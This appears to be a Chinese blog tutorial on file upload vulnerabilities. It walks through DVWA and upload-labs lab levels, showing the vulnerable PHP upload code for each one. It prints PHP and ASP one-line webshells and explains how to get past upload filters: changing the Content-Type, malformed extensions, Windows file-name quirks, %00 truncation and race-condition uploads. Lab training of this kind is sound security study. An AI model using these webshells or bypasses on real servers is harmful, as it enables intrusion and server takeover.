文件上传漏洞

文件上传漏洞基本原理

文件上传漏洞概述

文件上传是web应用的必备功能之一,比如在社交平台上传我们的个人头像,在招聘网站上传我们的个人简历,又或者是在某个博客平台上传我们自己的文章等等。如果服务器配置不当或者没有进行足够的过滤,导致web用户可以随意上传任意文件。甚至包括恶意脚本文件,这就造成了文件上传漏洞。
Web应用程序在处理用户上传的文件操作时,如果用户上传文件的类型,以及上传文件的路径成为用户可控数据。就会导致用户可以直接上传脚本木马到web服务器上,从而控制web服务器。
文件上传功能本身没有问题,有问题的是文件上传后,服务器怎么处理、解释所上传的文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

文件上传漏洞成因

1、服务器配置不当,导致恶意文件上传。
2、Web服务器没有对所上传的文件进行足够的限制或限制被绕过。
3、使用第三方插件引用。

文件上传漏洞危害

1、上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。
2、查看、上传、下载对方文件(任意操作对方服务器数据)。
3、查看数据库信息(拖库)等等。
4、上传WebShell,执行命令并控制服务器。

 
 

webshell简介

webshell是什么

Webshell就是以asp、php、 jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。拆分开来看,“web”的含义显然是服务器开放的web服务,“shell"的含义是取得对服务器某种程度上操作权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。

webshell的作用

一方面,webshell被站长常常用于网站管理、服务器管理等等。根据FSO权限的不同,作用有在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等。
另一方面,被入侵者利用,从而达到控制网站服务器的目的。这些网页脚本常称为WEB脚本木马,比较流行的asp或php木马,也有基于NET的脚本木马与JSP脚本木马。

webshell的特性

1、WebShell后门具有隐蔽性,一般有隐藏在正常文件中并修改文件时间达到隐蔽的,还有利用服务器漏洞进行隐藏,没有权限删除,还有一些隐藏的webshell,可以隐藏于正常文件带参数运行
脚本后门。
2、webshell可以穿越服务器防火墙,由于与被控制的服务器或远程主机交互的数据是通过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。

webshell大马

大马指木马病毒,它的代码比较大,功能比较丰富。同样,大马有很多种脚本格式,其功能基本相同。连接时需要输入密码,密码一般写在木马文件中。

webshell小马

小马就是一句话木马,代码量小,就是一句简单的代码。需要配合中国菜刀或者蚁剑使用。
PHP一句话木马:

<?php eval($_post['cmd']);?>
<?php assert($_post['cmd']);?>

这两句使用菜刀的时候可能会显示连接不上的问题,具体参考:PHP5和PHP7在安全上的区别

ASP一句话木马:

<%eval request("caidao")%>

 
 

文件上传漏洞常见过滤方式

没有过滤

没有对上传的文件做任何的过滤,又叫任意文件上传。

以DVWA-LOW为例

登录DVWA靶场,选择低难度的安全系数,进行文件上传漏洞的实践
在这里插入图片描述
上传webshell.php文件,我写的php文件内容是:

<?php phpinfo();?>

在这里插入图片描述
回显了一个地址,我们粘贴到url中试试
在这里插入图片描述
可见正确显示了php的各种信息,说明文件上传成功
此种就是没有对用户上传的文件做任何的检查

前端过滤

在客户端使用JavaScript检测,在文件未上传时,对文件进行验证。

以upload-labs-01为例

提示说在客户端用JS对不合法图片进行检查
在这里插入图片描述
首先上传php文件试试看,我此处上传的webshell.php和上面的一样
在这里插入图片描述
显示该文件不允许上传。
第一种方法考虑禁用掉JavaScript,F12调出hackbar,F1调出测试台禁用掉JS,再次上传此php文件。
在这里插入图片描述
此时查看网页源代码发现:

<div id="upload_panel">
    <ol>
        <li>
            <h3>任务</h3>
            <p>上传一个<code>webshell</code>到服务器。</p>
        </li>
        <li>
            <h3>上传区</h3>
            <form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
                <p>请选择要上传的图片:<p>
                <input class="input_file" type="file" name="upload_file"/>
                <input class="button" type="submit" name="submit" value="上传"/>
            </form>
            <div id="msg">
                            </div>
            <div id="img">
                <img src="../upload/webshell.php" width="250px" />            </div>
        </li>
	    	</ol>
</div>

此句 <img src="../upload/webshell.php" width="250px" />,回显了访问地址。粘贴到url中发现:
在这里插入图片描述
上传shell成功

第二种方法,我们使用burpsuite抓包试试。
在这里插入图片描述
上传成功了,我们更改webshell的后缀名为php试试:
在这里插入图片描述
发现是可以的,也回显了一个地址,粘贴到url中发现:
在这里插入图片描述
发现出现了一堆乱码,这其实因为是我自己上传的图片是不带有php语句的,也就是是一张正常的图片,乱码是图片编解码之后出现的结果。在实际中,攻击者往往会上传带有木马病毒的图片,这样图片即使被编码,图片带有的php语句依然会执行,来达到目的。出现乱码说明我们也是成功上传了shell的。
修改后缀的绕过方式是黑名单中的畸形后缀名绕过,后面也有更具针对型的题目练习。

服务器端过滤

MIME-TYPE验证

文件类型校验就是指HTTP头中的Content-Type,在服务端进行校验。
Content-Type:也叫互联网媒体类型(Internet Media Type)或者MIME类型,在HTTP协议消息头中,它用来表示具体请求中的媒体类型信息。

例如:
text/html代表HTML格式
image/gif代表GIF图片
lmage/png代表GIF图片
application/octet-stream二进制流,不知道文件类型(PHP)
application/json代表JSON类型

绕过方式为修改Content-Type为可以提交的文件格式。可在后面加上文件内容来绕过一些文件内容的检测。

以upload-labs-02为例

查看网页源代码可知,这一关是常见验证中的文件类型验证,也就是验证MIME信息

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

首先上传webshell.php试试,发现:
在这里插入图片描述
使用burpsuite抓包:
在这里插入图片描述
显示文件类型不正确,试试把Content-Type改成image/gif,(根据上面的源代码,此题image/jepg 、image/png都是可以的)
在这里插入图片描述发现正确回显地址,粘贴到url中:
在这里插入图片描述
shell上传成功

黑名单过滤

根据文件后缀名来判断文件是否允许上传,程序会把不允许上传的文件列到一个文本文档里,一旦发现上传的文件在文本文档中就立马制止。

黑名单绕过方式

畸形后缀名

畸形后缀名有:
在这里插入图片描述

以upload-labs-03为例

查看源码,发现array数组是一个黑名单,里面存储了不允许上传的文件类型

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

首先上传webshell.php试试,发现php确实是在黑名单里的:
在这里插入图片描述
使用burpsuite抓包:
在这里插入图片描述
更改后缀名为php5试试:
在这里插入图片描述
发现是成功回显地址,但不要高兴太早,php5不一定会解析,粘贴到url中发现:
在这里插入图片描述
果然不解析。这边也是挺离谱,我几乎把所有的后缀名的都试了一下,发现都不解析,我也不知道为啥。期待大神解答…

利用Windows特性绕过

大小写绕过
双写绕过
windows空格绕过
windows后缀点绕过
windows文件流绕过:上传shell.php::$DATA

以upload-labs-05为例

查看源码,发现几乎所有的后缀类型都被禁用了,那这题我们尝试用Windows特性绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

前面都是一样的,直接展示抓包过程,这边我已经更改了Content-Type类型还是不行:
在这里插入图片描述
不行,我尝试更改后缀名还是不行,尝试利用windows特性:
在这里插入图片描述
我试了大小写不行,加空格不行,加 . 不行。我…
看了解析才知道这题还过滤了 . ,那我们双写一次小数点,发现回显地址。这题放第五题我属实是看不懂了,我觉得这题可能要放在后面,因为后面的好像是加个小数点或者加个空格就过了。粘贴回显地址:
在这里插入图片描述

白名单过滤

使用白名单限制上传文件类型,通过检测文件内容判断文件类型,限制上传文件只能为一些无危害的文件,包括但不限于: jpg、 png、 bmp. txt、 zip、 rar、 mp3等。

比如:在用户头像处,只允许上传图片类型的文件。那么这里就可以通过以下方式来检测:
1、前端判断
2、文件类型判断
3、后缀名判断
4、文件内容检测

白名单绕过方式

00截断(GET用法)

当是GET接收情况的时候,直接用 %00 就可以了

以upload-labs-12为例

查看源码,array数组中存储了只能上传的三类文件,是典型的白名单问题

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

抓包:
在这里插入图片描述
发现跟之前不太一样,表头的save_path表示上传文件的保存路径。首先将文件后缀改成符合条件的,发现:
在这里插入图片描述
成功回显地址,但这并不是我们想要的,我们想要上传php文件。此时可以使用%00截断,具体方法是在seva_path的upload文件夹后加上 文件名.php%00,%00的作用是截断后面的内容,跟注释差不多,这样我们就把后面的文件类型截断了,取而代之的还是php文件,即我们所写的内容
在这里插入图片描述
回显地址,访问,上传shell成功
在这里插入图片描述

00截断(POST 用法)

当是POST接收情况的时候,正确的用法应该是我们需要对 %00 做一个URL解码,也就是URL-decode

以upload-labs-13为例

源码跟上面大同小异,不再展示
抓包,发现:
在这里插入图片描述
此时save_path不在表头而在body中,并且接受值变成了post,它与get的差别就是get会自行解码,post不会自行解码,我们需要对%00进行编码,而不能直接添加%00

方法一:
选择空格,按照下图操作
在这里插入图片描述
方法二:
找到hex编码,找到上传的文件路径
在这里插入图片描述
将20(20是空格的编码)重写成00即可

之后成功回显地址,访问发现成功
在这里插入图片描述

条件竞争上传

web服务器处理多用户请求时,是并发进行的,如果并发处理不当或是相关逻辑操作设计的不合理时,就可能导致条件竞争漏洞。

以upload-labs-18为例

查看源码,发现是白名单问题,unlink($upload_file);会把上传的不是白名单里的类型文件删除掉,这时就可以使用条件竞争上传来绕过

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

我们直接上传php文件后抓包,将数据包发送至intruder下
在这里插入图片描述
选择多线程发数据包,总有一次会把数据包传上去
在这里插入图片描述
在这里插入图片描述
然后发包,用另一个浏览器一直访问webshell.php地址,只要在上传的一瞬间,它还没来的及删除、修改就可以成功访问

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值